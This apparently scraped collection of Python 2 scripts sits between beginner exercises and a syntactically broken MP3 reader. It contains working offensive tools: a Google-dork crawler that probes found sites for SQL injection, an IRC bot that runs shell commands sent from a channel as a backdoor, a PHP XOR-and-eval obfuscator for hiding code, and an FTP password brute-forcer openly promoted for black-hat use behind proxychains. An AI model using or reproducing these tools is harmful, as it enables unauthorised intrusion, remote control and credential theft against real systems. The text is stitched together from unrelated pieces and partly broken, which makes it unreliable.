#!/usr/bin/python
## Dorker.py
## SQL Dork finder script that crawls google for sites vulnerable to SQL Injection
## Author: Xinapse
## Website: http://www.iexploit.org
## Email: iexploittube@gmail.com
## Twitter: #iExploitXinapse
## Version 0.0.1
## Usage dorker.py [options]
from xgoogle.search import GoogleSearch, SearchError
import time, urllib2, optparse

print '''
________                __                   
\______ \   ___________|  | __  ____ _______ 
 |    |  \ /  _ \_  __ \  |/ /_/ __ \\_  __ \
 |    `   (  <_> )  | \/    < \  ___/ |  | \/
/_______  /\____/|__|  |__|_ \ \___  >|__|   
        \/                  \/     \/        
---------------------------------------------------------------------------------
-- dorker.py                                                                   --
-- SQL Dork finder script                                                      --
-- Author: Xinapse                                                             --
-- Website: http://www.iexploit.org                                            --
-- Email: iexploittube@gmail.com                                               --
-- Twitter: #iExploitXinapse                                                   --
-- Version 0.0.1                                                               --
-- Usage dorker.py [options]                                                   --
---------------------------------------------------------------------------------
'''
parser = optparse.OptionParser()
options = optparse.OptionGroup(parser, 'Options')
parser.add_option('-d', '--dork', action='store', type='string', help='Dork to Scan', metavar='DORK')
parser.add_option('-f', '--file', action='store', type='string', help='Filename to save', metavar='FILE')
parser.add_option('-v', '--verbose', action=\"store_true\", dest=\"verbose\", default=False, help=\"Adds extra status messages showing program execution\")
parser.add_option('-e', '--evasion', action='store', type='string', help='How long to sleep between each google request, used to prevent google blocking your IP for too many requests, recommended at least 5+, default 10', metavar='EVASION')
(opts, args) = parser.parse_args()
urlno = 0
invuln = 0
if opts.dork:
    dork = opts.dork
else:
    print '>> Please enter a dork'
if opts.file:
    filename = opts.file
else:
    print '>> Please enter a filename'
if opts.verbose:
    verbose = 'true'
else:
    verbose = 'false'
if opts.evasion:
    evas = opts.evasion
else:
    evas = 10
pagecount = 0
counter = 0
try:
    pagecount = pagecount + 1
    if verbose == 'true':
        print '>> Crawling google page ' + str(pagecount) + '...'
    
    search = GoogleSearch(dork)
    
    
    
    
    while True:
        search.results_per_page=100
        tmp = search.get_results()
        
        if not tmp:
            break
            if verbose == 'true':
                print '>> No more results...'
        
                
        for t in tmp:
            try:
                
                url = t.url.encode(\"utf8\")
                if verbose == 'true':
                    print '>> Testing ' + url + ' for vulnerabilities...'
                testurl = url + \"'\"
                req = urllib2.urlopen(testurl)
                data = req.read()
                if \"sql\" in data or \"SQL\" in data or \"MySQL\" in data or \"MYSQL\" in data or \"MSSQL\" in data:
                    f = open (filename, \"a\")
                    if verbose == 'true':
                        print \">> Found possible injection in \" + url
                    f.write(testurl + \"\n\")
                    f.close()
                    counter = counter + 1
                else:
                    invuln = invuln + 1
            except:
                errors = 1
        if verbose == 'true':
            print '>> Sleeping to bypass google flood protection...'        
        time.sleep(evas)


except SearchError, e:
    print \">> Search failed: %s\" % e


print '>> Dorker scan ended'
print '>> ' + str(counter) + ' vulnerable sites found'
print '>> ' + str(invuln) + ' sites not vulnerable'
print '>> Thank you for using Dorker, output has been saved to ' + filename

http://min.us/mZKiVMNMeJn0q#1f

Python 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) 
[GCC 4.4.3] on linux2
Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.
>>> 

print \"Hello, World!\"

x = 2
print x

x = \"Hello\"
print x

x = \"Hello \"
y = \"World\"
print x + y

2 + 2 =

import math
x = math.pi()
print x

print \"Hi\" #Prints Hi to the screen

help>

#!/usr/bin/python

#a1: initial term of the arithmetic/geometric progression
#dif: common difference
#n: number of terms
#crat: common ratio

class ArithmeticProgression:
	def __init__(self, a1, n, dif):
		self.a1 = a1
		self.n = n
		self.dif = dif
	def PrintSum(self):
		S = (self.n/2)*(2*self.a1 + (self.n-1)*self.dif)
                # S = n/2 ( 2a1 + (n-1)dif )  or S = n/2 (a1 + an)
		print S

class GeometricProgression:
	def __init__(self, a1, n, crat):
		self.a1 = a1
		self.n = n
		self.crat = crat
	def PrintSum(self):
		S = self.a1 * ( (self.crat**self.n - 1) / (self.crat - 1) )
                # S = a1 * commonratio**n - 1 / commonratio - 1, commonratio != 1
		print S		
		

#first argument: initial term
#sencond argument: number of terms
#third argument: common difference for the arithmetic progression and common ratio for geometric progression

sum1 = ArithmeticProgression(1, 100, 1) #1+2+3+...+100
sum1.PrintSum()
sum2 = GeometricProgression(1, 7, 3) #1+3+9+27+81+243+729
sum2.PrintSum()

#!/usr/bin/python
import socket, sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create an TCP socket
#Associate socket with port
host = ''
port = int(sys.argv[1])
s.bind((host,port))

s.listen(1) #Listen for one connection(From the client)
conn, addr = s.accept()
print 'Client is ', addr

data = conn.recv(1024)
data = 10000 * data
conn.send(data)
conn.close()

#!/usr/bin/python
import sys, socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = sys.argv[1]
port = int(sys.argv[2])
s.connect((host, port))
s.send(sys.argv[3])

#Now the while loop
i = 0
while(1):
    data = s.recv(1024)
    i += 1
    if (i < 5):
        print data
    if not data:
        break
s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM_

def sequence (i):
    n = 1
    a = 0
    b = 1
    c = 0
    while n<=i:
        if n==1:
            print \"0\",
            n = n + 1
        elif n==2:
            print \"1\",
            n = n + 1
        else:
            c = a + b
            a = b
            b = c
            print c,
            n = n + 1
            continue
r = str(\"Y\")
while (r == \"y\")or(r==\"Y\"):
    i = input(\"Insert the quantity of numbers that you like to print    \")
    sequence(i)
    print \"\"
    r = raw_input(\"You wanna insert another number Y/N   \")

#!/usr/bin/python
#coder : cakill schumbag
#program ilustrasikan mp3 reader
#untuk file yang memiliki TAG akan di proses
#tapi sebelumnya harus di pindah ke posisi pointer 128 byte terakhir
import sys
def main():
    if len(sys.argv) < 2 :
        sys.exit('gk terjadi apa-apa tuh')
    else:
      try:
        a = open(sys.argv[1])
        a.seek(-128,2)
        info = ()
        if a.read(3) == 'TAG':
          info['title'] = a.read(30) .strip()
          info['artist'] = a.read(30) .strip()
          info['album'] = a.read(30) .strip()
          info['year'] = a.read(4) .strip()
          info['comment'] = a.read(30) .strip()
          a.close()
          for i in info.keys():
            print'%s = %s' %(i,info[i])
            else:
           a.close()
           sys.exit('file nya gak pake tag')
    
          except IOError, msg:
         sys.exit(msg)
if __name__ == '__main__':
    main()

a = open(sys.argv[1])
a.seek(-128,2)
info = ()
if a.read(3) == 'TAG':
info['title'] = a.read(30) .strip()
info['artist'] = a.read(30) .strip()
info['album'] = a.read(30) .strip()
info['year'] = a.read(4) .strip()
info['comment'] = a.read(30) .strip()

for i in info.keys():
print'%s = %s' %(i,info[i])

#!/usr/bin/python

import os, random, socket, sys

def usage() :
	print 'Usage: %s [Server address] [#Channel]' % sys.argv[0]
	exit()

def ForK() :
	pid = os.fork()
	if pid != 0 :
		exit()

def main() :
    num = ''
    for i in range(0, 3) :
        rand = random.randint(0, 10)
        num += str(rand)

    NICK = 'SH[' + num + ']'
    USER = 's1n4zbot'
    SERV = sys.argv[1]
    CHAN = sys.argv[2]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try :
        sock.connect((SERV, 6667))

    except :
        exit()

    sock.send('NICK %s\r\n' % NICK)
    sock.send('USER %s %s %s :Bot\r\n' % (USER, USER, SERV))

    while True :
        data = sock.recv(1024)

        if 'End of /MOTD command.' in data :
            sock.send('JOIN %s\r\n' % CHAN)
            break

    while True :
        data = sock.recv(1024)
        args = data.replace(':', '').split()

        if len(args) >= 1 and args[0] == 'PING' :
            sock.send('PONG %s\r\n' % data.split()[1])
            continue

        if len(args) >= 3 and args[1] == 'KICK' and args[3] == NICK :
            sock.send('JOIN %s\r\n' % CHAN)
            continue

        if len(args) >= 5 and args[3] == '!do' :
            command = data[data.find('!do')+4:-2]
            results = os.popen(command).read().splitlines()
            for result in results :
                sock.send('PRIVMSG %s :%s\r\n' % (CHAN, result))
            continue

        if len(args) >= 4 and args[3] == '!quit' :
            QMSG = data[data.find('!quit')+6:-2]
            sock.send('QUIT :%s\r\n' % QMSG)
            exit()


if len(sys.argv) == 3 :
	ForK()
	main()

else :
	usage()

#!/usr/bin/python

import sys

def usage() :
	print 'Usage : %s [file] [key]' % sys.argv[0]
	exit()

def main(fn, key) :
	try :
		Input = file(fn, 'r').read()

	except :
		usage()

	enc = ''
	res = ''
	c = 0

	if Input.find('<?php') != -1 :
		Input = Input.replace('<?php', '')

	elif Input.find('<?') != -1 :
		Input = Input.replace('<?', '')

	elif Input.find('?>') != -1 :
		Input = Input.replace('?>', '')

	for i in Input :
		enc += chr(ord(i) ^ ord(key[c]))

		if c == len(key)-1 :
			c = 0
		continue
	c += 1

	for ii in enc :
		res += r'\x' + ii.encode('hex')

	x = fn[:-fn.find('.')-2]
	y = x + 'xored.'
	z = y + fn[fn.find('.')+1:]

	Output = file(z, 'w')
	Output.write('<?php\n')
	Output.write('$code = \"' + res + '\";\n')
	Output.write('$key = \"' + key + '\";\n')
	Output.write('''$mcode = \"\";
	$c2 = 0;

	for ($c=0; $c<=strlen($code)-1; $c++)
{
	$mcode .= chr(ord($code[$c]) ^ ord($key[$c2]));
	if ($c2 == strlen($key)-1)
	{
		$c2 = 0;
		continue;
	}
	$c2++;
}
eval($mcode);
?>''')
	Output.close()

if len(sys.argv) == 3 :
	main(sys.argv[1], sys.argv[2])
	print 'Done!'

else :
	usage()

#!/usr/bin/python

from Tkinter import Tk
x = Tk()
x.withdraw()
x.clipboard_clear()
i = raw_input(\">> \")
x.clipboard_append(i)
x.destroy()

print repr(i), \"Copied to clipboard\"
raw_input(\"Press enter to exit\")

#!/usr/bin/python

################################
#####                      #####
#####      Xor encoder     #####
#####   For encoding file  #####
#####                      #####
#####    Writen by s1n4    #####
#####    June 16 , 2011    #####
#####       3:55 AM        #####
#####                      #####
################################

import sys

def usage() :
    print 'Usage: %s [Key] [File]' % sys.argv[0]
    exit()

def xor(key, fn) :
    try :
        Input = open(fn, 'rb').read()

    except IOError :
        usage()

    res = ''
    c = 0

    for i in Input :
        res += chr(ord(i) ^ ord(key[c]))
        if c == len(key) - 1 :
            c = 0
            continue

        c += 1

    try :
        Output = open(fn, 'wb')
        Output.write(res)

    finally :
        Output.close()
        print key, 'xor', fn

def main() :
    if len(sys.argv) == 3 :
        xor(sys.argv[1], sys.argv[2])

    else :
        usage()

main()

xor.py s1n4 test.zip

#!/usr/bin/python

#A simple xor encoder
#Xor the input file with 0-255
#Written by s1n4


import sys

def usage() :
	print 'Usage: %s [Key] [File]' % sys.argv[0]
	print '[Key] 0x00-0xff same as 0-255'
	exit()


def xor(key, fn) :
	try :
		Input = open(fn, 'rb').read()

	except IOError :
		usage()

	res = ''

	for i in Input :
		try :
			res += chr(ord(i) ^ eval(key))

		except :
			usage()


	try :
		Output = open(fn, 'wb')
		Output.write(res)

	finally :
		Output.close()
		print fn, 'xor', key


def main() :
	if len(sys.argv) == 3 :
		xor(sys.argv[1], sys.argv[2])

	else :
		usage()

main()

xor.py 0x4a test.txt

#!/usr/bin/python

'''
FTPeeNuke v1.0
Author: Chroniccommand
http://poison.teamxpc.com ; http://iExploit.org/ ; http://team-xpc.com/ ; http://haxme.org/
Blackhats ftw. Fuck whitehats.

Please note that this is best used with proxychains to protect your identity.
Would'nt wanna get fuxed up by the po po would ya?
'''

print('''
 _____ _____ _____         _____     _       
|   __|_   _|  _  |___ ___|   | |_ _| |_ ___ 
|   __| | | |   __| -_| -_| | | | | | '_| -_|
|__|    |_| |__|  |___|___|_|___|___|_,_|___|
Version 1.0
Author: Chroniccommand
http://poison.teamxpc.com/
NOTE: You may wanna use proxychains with this
''')

import sys, ftplib

def usage():
    '''
    Print usage
    '''
    print(\"Usage: %s <target> <username> <wordlist>\nExample: ./ftpeenuke.py 192.168.1.1 root /wordlist.txt\" % sys.argv[0])
    sys.exit()

if len(sys.argv) != 4:
    usage()

global host
host = str(sys.argv[1])
global user
user = str(sys.argv[2])
global wlist
wlist = str(sys.argv[3])

def isanon(hst):
    '''
    Check for anonymous login
    '''
    print \"Checking...\"
    try:
        conn = ftplib.FTP(hst)
        conn.login()
        conn.retrlines('LIST')
        conn.quit()
        print \"Anon login successful\"
        raw_input(\"Press enter to continue...\")
        print(\"Attacking %s\" % host)
        pass
    except Exception:
        print \"Anon login unsuccessful\"
        raw_input(\"Press enter to continue...\")
        print(\"Attacking %s\" % host)
        pass
    
def bruteme(word, usr):
    '''
    Attack
    '''
    try:
        conn = ftplib.FTP(host)
        conn.login(usr, word)
        conn.retrlines('LIST')
        conn.quit()
        print(\"Found password for user %s\" % usr)
        print(\"Password: \" + word)
        writefile = raw_input(\"Write to file?[Y/n]\")
        if writefile == \"Y\":
            file = open(\"ftpeenuke.txt\", 'a')
            file.write(\"-+-+-+-+-+-{FTPeeNuke dump}+-+-+-+-+-+\n\")
            file.write(\"Host: \" + sys.argv[1] + \"\n\")
            file.write(\"Username: \" + usr + \"\n\")
            file.write(\"Password: \" + word + \"\n\")
            file.write(\"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\")
            file.close()
            print(\"Dumped results to file\")
            raw_input(\"Press enter to continue\")
            sys.exit()
        else:
            raw_input(\"Press enter to continue\")
            sys.exit()
    except Exception:
        print(\"Trying password %s\" % word)
        pass
    except KeyboardInterrupt:
        print(\"FTPeeNuke aborted by user\n\")
        sys.exit(1)

try:
    wordfile = open(wlist, 'r')
    curwords = wordfile.readlines()
    current = 0
    while current < len(curwords):
        curwords[current] = curwords[current].strip()
        current = current + 1
except IOError:
    print(\"Could not find your wordlist file. Exiting...\")
    sys.exit()
    
check = raw_input(\"Check for anonymous login?[Y/n]\")
if check == 'Y':
    isanon(host)
    for word in curwords:
        bruteme(word.replace(\"\n\",\"\"), user)
else:
    print(\"Attacking %s\" % host)
    for word in curwords:
        bruteme(word.replace(\"\n\",\"\"), user)

root
bob
jane
jeff
alice
billy